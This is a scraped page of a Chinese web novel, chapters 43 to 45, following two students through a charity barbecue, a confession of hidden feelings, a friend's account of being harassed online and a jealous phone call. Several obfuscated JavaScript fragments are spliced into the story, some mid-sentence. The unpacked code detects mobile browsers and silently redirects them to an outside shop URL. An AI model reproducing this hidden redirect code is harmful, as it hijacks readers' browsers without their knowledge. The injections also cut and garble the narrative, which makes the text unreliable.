l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041219|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我刚刚去看了看情况,”疏眠疲倦的声音在云决明身后响起,他刚刚给烤鸡上了一遍油,手被高温燎得生疼,闻言转过身去,“杰森在活动室里给年纪比较大的青少年讲他那些激动人心的赛场瞬间,年幼的孩子已经被阿姨们带去午睡了,有些孩子已经吵着想吃东西了,一会我们可以先烤一些热狗和牛扒,确保一个小时以后我们可以呈上一些食物。” “记者呢?”云决明记得之前瞧见有几辆车开进了车道。 “现在正在活动室里拍照呢。” “你坐下来休息一会吧,”云决明劝说道,黎疏眠这会模样有点狼狈,原本扎得一丝不乱的马尾此刻已经松散了,双颊和后脖颈被晒得通红,双手因为不停地冲洗蔬菜而变得皱皱巴巴的,“一会可就没时间了。” “我们现在就没时间了。”黎疏眠叹了一口气,“另外两个志愿者马上就要离开了。” “马上就要离开?”云决明吃了一惊,“可我们有八台烤炉要照看呢。”而他现在连照顾好面前的两台都自顾不暇。 “是啊,除非你知道什么魔咒,能让我们变身为乌贼,章鱼,或者干脆是几个影分身,我觉得还是提前开始把热狗和牛扒烤上吧。这些孩子不会介意食物冷了,只会介意没有食物可以吃。现在几点了?” 云决明这时候刚好打开了另一侧的烤炉,他忙着把会长刚刚拆开的那一袋热狗一根一根地夹进去,不假思索地就用两根手指把手机从裤兜里抽出来,丢过去,他的一次性手套上全是油,“你自己看看,我的鸡要糊了,我得把火力关小一点——”他说着,一边手忙脚乱地调整着烤炉的旋钮。 “好——”黎疏眠的应答刚蹦出半个就没声了,云决明没有在意。这次的烧烤证实了家中由艾登掌勺是个多么正确的决定,就跟他的母亲一样,云决明也没有多少烹饪的天赋。会长把她的烤肉炉一合上就不再管了,不知道她施了什么魔法,一股股烤鸡的香味便开始突突地往外冒。反观这边,云决明时不时就要打开看一眼,仍然不祥地嗅到一丝若有若无的焦臭味—— “已经下午两点多了。”会长的声音听起来很平静,将云决明的手机塞回他的裤兜中去,“那两个志愿者说他们待到三点半救走,让我试试看能不能说服他们延长到四点半,至少能缓和一点我们的压力。” 云决明随意地应了一声。 忽然,他怔住了。 糟了,糟了,他的直觉猛地在心中嘶吼了起来,比他的理智更先意识到了某件他还摸不着头脑的事。云决明不知道这股心虚是从哪里冒出来的,只知道他的手脚突然变得冰凉无比,汗毛从脖子到脊椎沿路起立,冷汗潺潺冒出,如同凝浆一般顺流直下。一阵热风吹来,他却激灵灵地打了个冷颤。 大事不好了。 这个念头莫名其妙地萦绕在云决明心头,他苦苦思索着,像个正在寻找密室出口的玩家一样四处摸索着,企图从蛛丝马迹中追本溯踪地找出想法的根源。到底有什么大事不好了?明明适才什么事都没发生,自己怎么会突然有这种感觉呢?他赶在烤糊以前控制了火候,黎疏眠也把他的手机还给了他…… 手机! 如果说适才云决明的表现叫慌了手脚的话,此刻就是全世界的人一块慌了手脚,加起来也及不上他心中的恐慌。他怎么能忘记自己把去游乐园前拍的照片设置为了壁纸,还就这么毫无防备地递给了黎疏眠——艾登的前女友?坏了,坏了,都是因为艾登不在家,他才敢悄悄这么设置了,好用来缓解自己的思念,要是艾登在家,借他一百个胆子也不敢。说到底,还是因为他平时根本不与别人打交道,所以才会一点戒心都没有—— “我已经跟他们谈过了。” 黎疏眠的声音惊得云决明一颤。 “他们愿意留到四点半,这也算是个好消息。我那边的两只烤鸡都快好了,热狗,牛扒,还有面包已经摆上烤架了,你这边进度如何?” 43. Chapter·Twenty-One “请不要告诉艾登。” 这句话冲口而出,快得云决明都来不及阻止自己。 他不知道自己是怎么了,在这件事情上扭捏得就跟个小女孩似的。明明大脑清清楚楚地知道黎疏眠根本不可能跟艾登提起这件事,如果她真的想说,也不是自己一句话能阻拦她的。但他就是无法控制自己,无法控制自己在那一刻鼓胀至顶点的恐惧,怯怕,又焦躁又自怒,无数不理智的想法纷至沓来,踩破了他心口的门槛——万一黎疏眠还对艾登有感觉呢?万一黎疏眠看不惯这种事呢?万一黎疏眠出于某种利益的考虑决定把这件事告知艾登呢?万一黎疏眠觉得那张合照证明艾登是因为性取向的原因才对她不冷不淡,找上门去要艾登给个说法怎么办? 他急于修复他刚刚犯下的错误,急于让那句话听起来不那么像做贼心虚的不打自招,然而下一句心急火燎地从嘴里蹦出的话,“请不要告诉任何人。”却只让情况变得更糟。云决明能感觉到自己的双颊跟烤炉内部一样烫得惊人——实际上,他情愿自己此刻是在烤炉里,也不要站在烤炉外,继续着这段对话。 黎疏眠“噗嗤”一声笑了。 “如果你指的是你的手机壁纸这件事的话,我不会跟艾登说的,放心好了。” 假设他此刻主动向杰森提议给对方讲睡前故事,那个种族歧视者的反应可能都没有黎疏眠的回答来得让云决明尴尬,他低着头,专心给烤鸡刷着不必要的涂料,含糊地应了一声。 “我早就知道了。” 云决明迅速抬起头来,速度之快,险些把脖子都扭了,“什么?”他不敢置信地问道,“你早就知道了什么?” 黎疏眠耸耸肩,“你爱上了艾登的事。” 自己心里面清楚这件事是一回事,听别人直接光明正大,字正腔圆,分分明明地讲出来,又是另外一回事了。云决明心猛地一抽,全身上下的血液霎时间停止了流动,整个人剧烈地一抖,手腕直接挨到了滚烫的烤架。 只来得及从喉咙里发出一声惨烈的尖叫,刷子一下子从手中跌落,云决明握着手臂,疼得两眼发黑,向后踉跄了几步,险些跌倒,幸好黎疏眠及时扶住了他。“他烫伤了,你过来照看一下大家的炉子!你去问问他们有没有烫伤药膏,没有就开车去买!”她大声招呼着另外两个志愿者,同时领着云决明往院子深处走。 趔趄着,他瞧见前方有个卷管机,一头连着水龙头,用来浇草坪的另一头则随意丢在地上,被黎疏眠捡了起来。她旋开水阀,让冰冷的水流缓缓冲刷着他已经红肿起一大片的手腕。 虽说伤患处还有着一跳一跳的剧烈疼痛,但云决明打定主意不显露出来,只是咬紧着牙关,一声不吭。 “是我刚才把你吓着了吗?”会长一手托着他的胳膊,另一只手拿着软管,柔声问道。 “没有。”云决明被自己嘶哑的嗓音吓了一跳,讲话时还能觉得喉头隐隐作痛,“而且,你误会了。” “别动,你没被烫起水泡,但是就这个红肿程度来看,至少也要冲半个小时的水。”黎疏眠没对他的辩解说什么,只是握在他胳膊上的手微微收紧了,他们此时站得离彼此很近,云决明能嗅到她长发上飘散的清香,能瞥到她优雅白皙的脖颈,甚至只要他微微前倾,目光还能穿透会长宽松的前襟。但他就像个木头似的站在原地,内心完全没产生半分波澜。 “我自己来就行了,那两个志愿者忙不过来的。” “别说傻话了。”黎疏眠的手丝毫没有放松的意思,“要是这一步没有处理好,后续可就麻烦多了。而且——是我太鲁莽了,我不该那么直接就把那件事说出来的,不然也不会把你吓着。” “我没有被吓着,”云决明固执地强调着,“而且我已经说过了,你误会了,我根本没有——” 后面的话,他却无论如何说不出来。 他明知道这是掩耳盗铃,这是自欺欺人,这是睁着眼睛说瞎话,但他无论如何也不能承认。只埋藏在心里的话,就跟男生都会有的幻想一样无伤大雅,他只需要在艾登面前掩饰好这份感情,如同男生都会掩饰自己对女生抱有的幻想,而装出一副彬彬有礼,绅士克制的模样。不咬定,不直面,不把它具象化成白纸黑字的一句话,就不必应对随之而来的一切后果——他是Gay吗?他以后还能跟女孩结婚吗?母亲知道这件事会有什么反应?他会不会因此失去艾登这个朋友? 可同时,这份感情又太真实,太深沉,他甚至没法大声说出否定它的话。光是想要这么做,就已经痛得让他无法呼吸。 “我没误会。”黎疏眠淡淡地笑了,“你不想承认,这很正常。但我从上次在商场见到你的时候,我就已经猜出你对艾登有超出朋友范围的感情了——如果你只把艾登当成朋友,哪个男人会选择向别人的前女友打听恋情细节,而不是直接询问自己的朋友呢?不然你以为我为什么要跟你说那么多与感情有关的话?为什么要劝你在泥足深陷以前就及时脱身?” 云决明的嘴唇颤抖着,霎时间,他再也感觉不到手腕上钻心的疼痛了,它转移到了另一个位置,而且越发尖锐。“这么说,”他听见自己的声音空洞地响起,“你觉得艾登是个不折不扣的直男。” “我不会在这一点上打包票,毕竟,心理学上而言,全世界只有——” “很少一部分人是彻头彻尾的单性恋,我知道。”云决明打断了她的话,每个说出的字都在舌尖上留下了浓重的苦涩,“但那只是数据,那根本不代表什么,大部分人一生中还是只会对单一性别产生爱慕的情感,不管心理学对此提出了怎样的理论,都无济于事。” “对……”黎疏眠温柔又为难地望着他,这眼神只让云决明觉得更难受了,“所以,一般来说,一个有二十七任前女友的男生……” “别说了。”云决明有气无力地制止了她。 “但我仍然认为,你对艾登来说很特殊,”黎疏眠恳切的语气没让这一切听起来好受多少,不管他有多么特殊,他仍然只能是个“朋友”,这就足够让云决明觉得讽刺了,“他在学校里跟你形影不离,他决定跟你一块住在校外去,他还会跟你一起拍那张合照,这都是他压根不会与自己约会对象干的事情,甚至是我觉得他永远不会做的事情。如果我是你,我不会那么坚定的认为——” 云决明此刻最不需要的就是虚假的希望,他必须坚信艾登永远不会爱上他这个事实,才能让自己保持在他面前的冷静。否则的话,说不清什么时候,也许他的自制力就会毁于一旦,而他会不顾一切地抓住艾登,绝望而热烈地——“是艾登告诉你他和我一块住到校外去的吗?”他生硬地开口了,既是为了转变这个不愉快的话题,也是为了打断自己此刻脑内的想法。 “不是,”黎疏眠说,倒没有因为频频被插话而显得不快,“我是看到那张合照才猜出来的。” 因为之前高谏琦向自己提过唐泽茹的事,云决明敏感地察觉到了一丝不对——那张照片能证明的细节很少,后面的公寓有可能是自己的家,而艾登只是开车过来与自己汇合而已,不能百分之一百表明那就是他和艾登的家,“你之前没听说过艾登搬出去的事吗?” “艾登跟我之间已经没什么联络了,”黎疏眠显然误会了他的意思,“就算是跟我约会的时候,他也从来不会把这么隐私的事情告诉我,你不需要担心我和他之间还有什么藕断丝连。不过,我确实听说过流言,有个叫唐泽茹的女生在多个华人微信群里发了你和艾登的事情,信誓旦旦地说你们两个已经一块搬到校外去住了。” 果然。云决明心一沉,他就知道这种事少不了唐泽茹的插手。 “你认识这个叫唐泽茹的女生吗?” 出乎他意料的,黎疏眠点了点头。 “她以前网暴过我,”她平静地说道,“就在我跟艾登约会的期间。她用好几个小号给我发了不堪入目的私信;把我的脸P在涩青女演员身上,然后把照片卖给一些男生;在华人论坛,华人微信群,北美省钱论坛,任何你能想得到的海外华人社交平台上编造我私生活混乱,与多个男性——包括上了年纪的有钱老男人和法学院的院长都有一腿,内容低俗下流得让我怀疑她是不是直接从故事会里摘抄了一些段落。她甚至还跑去北美吐槽君那儿投稿,把我描绘得跟个绿茶婊似的,就是因为她说得太夸张了,评论里根本没人猜得出她到底在说谁,尽管她非常明显地给出了学校和专业的暗示。” 云决明已经听愣了,他知道这个叫唐泽茹的女孩多半心理有问题——高谏琦和艾莉都指出了这一点——但他没料到她竟然能疯狂到这个地步。 他最近也在Instagram上收到了一些连威胁带辱骂的私信,云决明怀疑那也是唐泽茹的杰作。 “还不止是这样,”黎疏眠无奈地摇了摇头,“她编造的那些谣言对我的实际生活没能造成多少影响,因为在现实中接触过我的人,都知道我绝对不是她形容的那个模样。于是,后来唐泽茹变本加厉,直接给学校写了匿名信,举报我在期末考试及学期论文上作弊——这倒着实给我惹了不少麻烦。一月份的时候,我和艾登分手了。分手以后,唐泽茹就消停了。” “你没有对此做点什么吗?” “我犯不着在这种事情上耗费气力,”黎疏眠不屑地哼了一声,“她采用的卑鄙无耻的手段就已经说明了她这个人的人品如何,我越是气急败坏,越是暴跳如雷,就越正中她的下怀。她还算聪明,用了好几个小号伪装成不同的身份,真身倒是一副无辜的模样,甚至还曾经装模作样地在微信群里出来帮我说了几句话。即便我费心费力做了澄清图,证明所有言论都是她发出的,都是她伪造的,一般人也没有那个兴致去看,看完了骂两句,也不会再有后续了。不妙的是,人们很有可能还会觉得我本身有问题,我说不定就是她形容中的那个又要当婊又要装纯的女人,到头来,耗心耗力的人是我,名誉受到损伤的还是我。不值得。” “那你就这么——” 云决明的话被杰森低沉,缓慢,还带着一点不悦的声音突如其来地打断了。 “请问,这里一切都好吗?” 他们两个都愕然地转过身去,杰森不知道什么时候已经站在了身后——云决明只庆幸他们对话用的都是中文, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041220|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰森半个字都别想听懂——他的神色一如既往地傲慢,不耐烦,漫不经心又充满鄙夷,只是那双眼里的神色很复杂,云决明怀疑他是被某个工作人员打发过来瞧瞧情况的。 “一切都很好,”黎疏眠不卑不亢地回答,“Ming烫伤了手腕,我在帮他冲洗伤口。” “这看上去像是一个人就能完成的工作。”杰森慢条斯理地说道,云决明以为他下一句话就要冒出对中国人的侮辱了,已经做好了再一次讽刺他男子气概的准备,谁知他话锋一转,语气与派对那晚完全不同,少了那种让人气的牙痒痒,似笑非笑的讥讽,“福利院的孩子们一直在抱怨饿了,我认为你应该回去帮着那两个志愿者,赶紧把烧烤端上桌。如果你希望的话,我也可以帮忙。” “你想帮忙?”黎疏眠眉毛一挑,冷笑了一声。 “除非你还有四只我瞧不见的胳膊,不然你怎么顾得过来这么多烤炉?”杰森的语气就像是在给两个白痴解释一加一等于二一般,“这位娇滴滴的凯特·摩丝让自己给烫伤了,”他的脑袋往云决明那儿一撇,语气里是不加掩饰的鄙夷和轻蔑,“你又少了一个帮手,那群孩子什么时候能吃上饭?别忘了,我也必须待到这场活动结束才能走。” 凯特·摩丝?该死的杰森竟然给自己起了这么一个绰号?云决明正在搜肠刮肚地找着礼貌又不失犀利的反击,黎疏眠已经开口了。 “谢谢你的关心,杰森。”她微微笑着,语气得体得让人挑不出一点错,“Ming的烫伤并不严重,一会抹上一点烫伤药膏,我相信他还是能应付得了几个烤炉的。但我看得出,你的确诚心诚意地想要帮忙,实话说,真正需要你帮手的,是那些孩子们的需求。” “孩子们的需求?”杰森的脸有点扭曲。云决明幸灾乐祸地看着他。 “当然了,这也是我们今天过来的目的,不是吗?一会,等我和Ming开始烧烤以后,我需要你把做好的热狗和汉堡给他们送过去,按照他们的要求放上他们指定的酱,连同带去他们想喝的饮料。记得,要面带微笑,多说“请”“谢谢”还有“不用客气”。要是他们不小心把食物弄到了地上,或者是身上,我想你也不会介意帮忙清理一下的。” 如果说杰森是把他们两个当成蠢蛋来看的话,黎疏眠轻柔舒缓的语气就像是把杰森当成一个不懂事的三岁小孩一般,云决明可以看得出,会长态度的杀伤力,可比直接耻笑或羞辱杰森来得更让他生气;让他当个服务员,对那些大部分都是少数族裔的青少年们点头哈腰,一反之前高高在上的橄榄球明星架子,比让他在烤炉旁忙得大汗淋漓更让他无法忍受。这会,他脑门上的青筋已经有了隐隐要从皮肤中迸裂出来的趋势。 “福利院的工作人员可以去做这些。”他冷声说道。 “确实,但他们光是照顾那些年纪更小的孩子,就已经精疲力尽了,”黎疏眠一副无可奈何又善解人意的模样,然而语气却坚定得不容任何反驳,“我们今天来这儿,就是为了给这些不得不离开自己家庭,迷失了人生道路的孩子和青少年们送去一丝温暖,任何工作——不管是烤制食物,还是端茶送菜,都是一样的,不分贵贱,也不分高低,都是慈善的体现。至少,过一会那些记者来采访我的时候,我就会这么说。你不会希望给他们留下一个橄榄球明星队长高高在上,目中无人的印象的,我说的对吗,杰森?” 云决明这才明白为什么杰森直到现在都还没说出比“凯特·摩丝”更加过分的话,原来是因为他不想在媒体面前闹出一场风波。 “别拿这些冠冕堂皇的话搪塞我,你更需要人帮你烧烤,而不是跑来跑去跟个傻子一样送吃的,那些孩子有手有脚有眼睛,他们知道去哪找食物,去哪涂酱料,去哪倒饮料——” “我不这么认为,”黎疏眠提高了一点声音,她的眼睛微微眯起,让人不禁联想到某种充满威慑力的大型猫科动物,正目不转睛地盯着自己的猎物,“我是这次慈善项目的负责人,既然你请求我给你分配任务,就容不得你挑三拣四。你自己也是橄榄球队队长,你应该很清楚服从的重要性,杰森,不需要我再向你重复一遍。” 杰森的目光阴沉地在会长身上打了个转,尤其在她扶着云决明胳膊的地方停留了好一会,才冷冰冰地哼了一声。 “记住,哪怕是跟小孩子说话,也要让他们觉得自己被尊重了——那即是说,你得把自己缩小到他们的高度跟他们说话,我注意到你之前跟那些孩子们讲解橄榄球比赛规则的时候,一直都让这些孩子抬着头仰望着你,这样不好,我希望能看见你的改正。” 云决明已经能瞧见怒气在杰森眼中暗潮涌动,随时可能化为海啸倾巢而出,然而,不知道出于什么原因,他硬是忍住了,什么都没说,就转身飞快地向烤炉所在的地方走去——然而,走了两步,他又突然转身,以棒球投手一般的速度,狠狠地将手上的某个东西丢了出去,云决明只觉得耳边风声一响,感到会长的手松开了自己,下一刻,他就瞧见黎疏眠精准地接住了一小管药膏。 “烫伤药膏。” 他语气森然地丢下这句话,就大步流星地离开了。 44. Chapter·Twenty-Two “你有没有觉得,杰森的态度有点奇怪?” 趁着杰森在远处冷若冰霜,不情不愿地往热狗上插美国国旗的功夫,云决明凑到黎疏眠身边,轻声问道。 在冰冷的水龙头下冲了半个小时,又敷了烫伤药膏以后,云决明手腕上的疼痛已经减轻了不少,足以应付烧烤的活。他面前的两个烤炉里也只有香肠和牛扒,不怎么需要他翻动——自从发现他厨艺不精,只会把鸡烤焦以后,会长就把这类大型食材转移到了她的烤炉里去照料了。 同时,由于他烫伤了手,另外那两个志愿者便不好意思再说出要离开的话了。就这一点来说,云决明就觉得自己没白烫手。他实在不敢想象后院里只剩下自己,黎疏眠,还有杰森的景象,那情形大概跟两个犹太人被迫和希勒特一起烧烤般不可思议。 但他总有种奇怪的感觉,如果不是因为黎疏眠在这儿,杰森对他的态度会糟糕得多。 “如果你觉得奇怪的话,多半是因为刚刚有媒体在这儿的缘故。”会长一边说着,一边熟练地把烤鸡从烤叉上取下,用剪刀咔咔地分成好几块,“我不知道你听说了没有,但是约州第十选区的众议员要退休了,杰森的父亲有意代表共和党参加选区大选,所以民众形象对他全家来说都很重要——这也有可能是他被选中来参加这次慈善活动的原因,也很有可能就是为什么你觉得他态度奇怪的原因。” 云决明马上想起了索夫科瓦斯基教授的话。 他隐隐觉得,杰森的父亲要竞选这件事,与索夫科瓦斯基教授意有所指的警告分不开。 那天他没什么时间多想这件事,如今一回味,索夫科瓦斯基教授似乎很害怕自己会调查杰森父亲的过往,为此甚至不介意把自己辛苦调查得来的内幕和盘托出。也许她在调查过程中发现了杰森父亲的某些秘密——比他联合州长一起不动声色驱逐低收入有色人种更黑暗,更扭曲的秘密。因此,她担心,如果自己也去调查,说不定会惊动正要竞选众议员,非常看重外在形象的科尔·埃弗里,从而给自己惹上麻烦。 但这会是什么秘密呢?云决明心不在焉地戳着热狗肠,苦苦思索着。会跟那个躲藏在约州的连环杀人犯有关吗?一个不祥念头突然闯进他脑海里——也许杰森父亲给当地警察局施压不仅仅是出于他和艾登爷爷的交情,也许他自己就想掩盖这个案子。 “决明,你得专心看着点。”会长的惊呼把正苦思冥想的他吓了一跳,“你的牛扒快煎糊了。” 回过神来的云决明赶紧抓起铲子,会长也来帮他的忙,他们两个一人负责一边,这才赶在所有牛扒变得焦黑以前翻面了。 “别再想杰森的态度奇不奇怪了。”黎疏眠拍了拍他的肩膀,“还是专注在烧烤上吧。要是这些孩子们得了食物中毒,我们两个头上的责任可就大了。” 应了一声,云决明还是禁不住回头望了一眼杰森——来拍照的记者早就离开了,他的态度会打回原形吗?他知道自己父亲的秘密吗?他知道自己的父亲有可能与他最要好的朋友的父亲被谋杀案件关联吗?或者说,就是因为他知道,才会容许艾登,一个四分之三血统都属于中国人的男孩,成为自己最铁的兄弟吗? 就在他探究的目光转过去的刹那,云决明才发觉杰森原来一直望着自己这边。瞧见他看过来,杰森迅速转过身去,开始收拾起餐桌上脏碟叉,尽管只有短短的一瞬间,云决明还是捕捉到了他目光中耐人寻味的苦涩,就仿佛他正被他眼中所捕捉到的情形刺痛着一般。 肯定是他想得太多了,才出现了错觉,一个像杰森那样不折不扣的种族主义者怎么可能会出现那样的目光? 云决明摇了摇头,又回去继续给烤板上涂油了。 他一直忙到晚上9点,才最终把一切都收拾妥当,精疲力尽地离开了福利院。留下值班的工作人员,还有一些年纪比较大的孩子都跑来门口送他,会长,还有杰森离开。工作人员对他们三个连连道谢,感激着他们今天付出的时间和精力,那些青少年们则争先恐后地嚷嚷着,兴奋地诉说这是一个多么美好,多么难以忘怀的国庆节。 没错,是他们三个。 云决明最不喜欢这种场合,他第一时间就迫不及待地找借口抽身离开了。就在他沿着街道往停车场走去的时候,他仍然难以相信杰森竟然留到了最后。这个无论怎么想都很荒谬的念头促使他频频回头向身后望去——会长正跟每个人拥抱告别,亲切地冲他们微笑着,而杰森站在两步开外的地方,维持着礼貌而不失疏离的做派,直到有个白人少年把手里的橄榄球递过去请他签字,云决明才瞥见他的表情松动了一些。 太奇怪了,真的太奇怪了。 他迫不及待要把这件事告诉艾登,刚发动车子就拨通了对方的电话,只是嘟嘟声响了又响,艾登一直没有接起。 也许他正在看烟花秀,云决明心想。此刻坐在车里,他还能听见几个街区以外的某个地方有人正在放烟花,“咻咻”与“嘭嘭”的声音不绝于耳,从下午六点钟一直持续到现在,天空就始终不曾空旷过。美国人庆祝国庆的热情可见一斑。 等回家以后再给他打电话吧,云决明心想。 然而到家以后,又有数不清的事情等着他去做,饿坏了的洛克希用委屈的呜咽声控诉他离开一整天的劣行,云决明赶紧给它添了水,又倒了两大罐罐头,这才让气得尾巴耸拉的大狗打起精神来,在五分钟之内就以风卷残云般的速度干掉了满满一碗的狗粮。随即,云决明又带着它在小区里散步了半个小时,好让憋了一整天的洛克希解放一下。“我知道,我知道你想好好地跑一跑,”最后拽着不情愿回去的大狗往家走的时候,云决明不得不一路好言相劝,“但我今天实在没力气了,要不明天我让你多玩一个小时,怎么样?” 再度回家以后,云决明觉得爬楼梯都算是对肌肉的折磨,他几乎算是把自己的身躯拖进了洗手间,疲倦地冲了个澡,困得差点在蒸汽缭绕的浴室昏睡过去。最后一点抬手的力气耗费在了刷牙上面,云决明只简单地往脑袋上裹了一条毛巾,就离开了浴室,直挺挺地倒在床上,用指尖仅剩的最后一点力气拨通了艾登的电话,这时候,手机屏幕上显示的时间已经是22:49分了。 这一会,电话铃只响了几声,就接通了。 “Hello。”也许是因为他太累了,但云决明竟然觉得艾登的声音听上去很冷漠。 “嘿,”云决明闷闷地应了一声。他最近用的都是艾登的沐浴露和洗发水,这样他身上就都是对方熟悉的味道,此刻,他把脸埋在柔软的枕头里,感觉自己仿佛就躺在艾登身边,嗅闻着他柔顺的发丝。“迪士尼乐园的烟花表演怎么样。” “我怎么知道。”艾登僵硬的声音古怪地通过电话传过来,“我又没去。” “怎么没去?”云决明很惊讶。 “没心情。” “发生什么事了?你和艾莉吵架了吗?” “不是。” “那——” “不说这个了,你和疏眠的约会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041221|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?” 云决明摸索着放在床头柜上的耳机,把它插上戴好,才接着说话。免提的效果太失真了,他心想,艾登的声音显得太古怪了,甚至听上去都有点酸溜溜了。 “什么约会?” “你今天不是和疏眠一块度过的吗?”耳机也没让效果好多少,艾登的语气听上去反而还更扭曲了,一股子没好气的味道。 “是啊,但那是为了荣誉协会的慈善活动,”云决明打了个哈欠,“我不是跟你发短信说了吗?” “你哪有跟我发短信说这种事情!”艾登的声音一下子大了起来,惊得云决明差点从床上跳起来,“你只发短信跟我说你今天跟疏眠待在一起!” “噢……”云决明这才想起来,自己似乎一直没把短信的后半部分发过去,“这就是我打电话来想跟你说的事情——” 他一五一十地今天杰森过来福利院的事情,包括杰森奇怪的态度和表现,都一股脑跟艾登说了。 “到后来,烧烤结束以后,另外那两个志愿者就回去了。当时,杰森也离开了——我和会长都以为他走了,结果,过了一会,他抱着一个大箱子回来了。‘烟花。’他就臭着脸这么跟我和会长说了一句,就把那箱烟花交给了工作人员,让他们分发给孩子们放着玩,与此同时,他一边非常不耐烦地刷着手机,一边帮我们收拾着垃圾。艾登,你不觉得奇怪吗?” “杰森有时候的确会做一些非常出乎人意料的事情。”艾登打了个哈哈,可能这会信号好了一些,他的语气听上去温柔多了。 “你觉得,有没有可能——”云决明忍着困意,把他对杰森父亲与连环杀手之间的联系也向艾登复述了一遍,昨天下午他遛洛克希的时候,就已经把自己和索夫科瓦斯基教授的对话发信息告诉艾登了,这部分倒是不用重复,“——有没有可能杰森的态度突然变得这么奇怪,跟他的父亲要竞选众议员,以及索夫科瓦斯基教授的那一番话有关?你觉得他可能是出于心虚才难得的友好了一会吗?” 诚然,跟一般人比起来,杰森的态度实在算不上友好——但在云决明看来,那张狗嘴里只要没吐出对中国人的侮辱,都已经算是表现友好了。 “不,”艾登斩钉截铁地回答道,“相信我,Ming,杰森的态度改变了,和他的父亲一点关系都没有,也不是出于心虚——我觉得,索夫科瓦斯基教授应该是在调查科尔的时候发现了他以前和州长勾结的黑料,他确实在政界有很硬的人脉,我听我爷爷说,他当初会被调来约州也是托了某个政要的关系。索夫科瓦斯基教授并不了解我们和杰森之间的关系,她可能以为你借着我的缘故,跟杰森很熟,可以随意进出杰森的家,因此不希望你贸然去调查对方,给你惹出一些麻烦,才那么警告你。” “既然你都这么说了……”云决明这时候已经困得有些神志不清了。艾登比他更了解杰森,要是他认为这两件事之间没关系,云决明便也同意这一点,“对了,你还没告诉我,你为什么心情不好呢。” “已经没事了。”艾登听上去似乎在笑,“虽然我没去,但我让艾莉帮我把烟花表演录下来了,回去我们还是可以一起看的。” “好。”云决明迷迷糊糊应了一声,也许艾登心情不好跟他的父亲有关系,他仅剩的一点还未坠入眠海的神经艰难地思索着,既然艾登不愿意说,那他也不继续追问了。“等你回来,我们一起看。” “晚安,Ming,赶紧休息吧。” “晚安,艾登。” 45. Chapter·Twenty-Three 在度假结束以前,艾登总算下定决心,将他与云决明正在调查父亲谋杀案的事告诉了艾莉。 那是极为炎热的一天,妈妈去见地产经纪人了——她打算在佛罗里达州进行一些投资,而爷爷奶奶则计划去钓鱼,他们想把艾登和艾莉带上,他连忙拒绝了,说他和妹妹今天打算在酒店的泳池边休息。 “艾莉想去游泳,得有人替她擦防晒霜。而你也知道泳池边的那些青少年是什么模样,一个个饥渴得要命,我可不会容许他们碰我的妹妹一根手指头。我还是留下吧。” 他一本正经地向奶奶胡诌着,已经有好多年他没有为自己的妹妹打掩护了,自从父亲死后,他一直都是长辈的忠实盟友,替他们监督着艾莉的一举一动。不过,也正因为如此,奶奶完全没对他的话起疑心。 “爷爷,奶奶,还有妈妈都走了,”他在自己房间里和云决明通着电话。夏课第一学期已经结束了,云决明如今在家里一边看书,一边干一些翻译的散活赚钱。艾登主动提议为他支付夏课第二学期的学费,却被他坚决拒绝了,“艾莉在隔壁录制视频。我打算等她完事以后,就把肯尼和连环杀手的事告诉她。” “你很紧张吗?”电话那头的云决明似在微笑。 “有点,”艾登老实承认道,“我不知道她会有什么反应。” “艾莉比你想象中要坚强得多,对你的妹妹有点信心,”云决明安慰着他,“别忘了把慈善活动上发生的事情也一并告诉她,我想知道她的看法。” “……知道了。” 艾登花了半晌,喉头才发出一声嘟囔,现在只要一提起慈善活动,他的心情就无比郁闷。 云决明永远不会知道,他那条“我现在跟疏眠在一起”的短信,让自己有多么火大。整整一天,他吃不下任何东西,喝不下任何饮料,谎称不舒服推掉了和家人出游的计划,把自己关在酒店房间里,每隔几分钟就焦灼地点开手机看一眼——哪怕通知栏上根本没有显示新信息。 他和疏眠现在在做什么?他们一起去看电影了吗?他们一块去商场吃雪糕了吗?一想到云决明和疏眠一起说说笑笑的模样,就让艾登气不打一处出。难道云决明一点身为男人的自觉都没有吗?他既然想约会自己的前女友,难道不该先来问问自己介不介意?或者是事无巨细地报备一下约会进程吗?比如,他们拉手了没有?拥抱了没有?甚至—— 艾登完全没法脑补出云决明亲吻另一个女孩的模样,光是想到这件事就让他焦躁不已,拳头痒痒难耐,很想揍点什么发泄一番。 该死的,他那时在心里暗骂了无数句,在房间里面来回踱步,几乎把地毯都磨掉一层。云决明不是说他学习很忙,根本没有时间约会女生吗?还是说那只是他敷衍自己的借口,其实他一直都在追求疏眠?不过,既然疏眠同意跟他一块在国庆节出去玩,难道意味着她也对云决明动心了吗?这也难怪,云决明长得很英俊,性格温和又善解人意,跟他相处起来再舒服不过了,疏眠会喜欢上他,也不稀奇。 可是,难道这意味着他们以后就会成为一对情侣吗? 疏眠又不是美国人,他们两个估计不会有约会这个步骤,直接就跳到男女朋友的关系中去。中国人的感情关系又总是进展很快,据说从见面到结婚的用时平均只有一年,这么说的话,云决明是不是很快就会搬走,跟她住在一起?再过一段时间,也许自己就要收到婚礼请帖了? 艾登觉得他马上就要心肌梗塞了。 